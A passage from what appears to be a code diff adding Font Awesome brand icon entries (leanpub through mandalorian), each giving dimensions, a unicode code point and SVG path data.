48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z" ], + leanpub: [ 576, 512, [], "f212", "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z" ], + less: [ 640, 512, [], "f41d", "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z" ], + line: [ 448, 512, [], "f3c0", "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z" ], + linkedin: [ 448, 512, [], "f08c", "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z" ], + "linkedin-in": [ 448, 512, [], "f0e1", "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z" ], + linode: [ 448, 512, [], "f2b8", "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z" ], + linux: [ 448, 512, [], "f17c", "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z" ], + lyft: [ 512, 512, [], "f3c3", "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z" ], + magento: [ 448, 512, [], "f3c4", "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z" ], + mailchimp: [ 448, 512, [], "f59e", "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z" ], + mandalorian: [ 448, 512, [], "f50f", "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 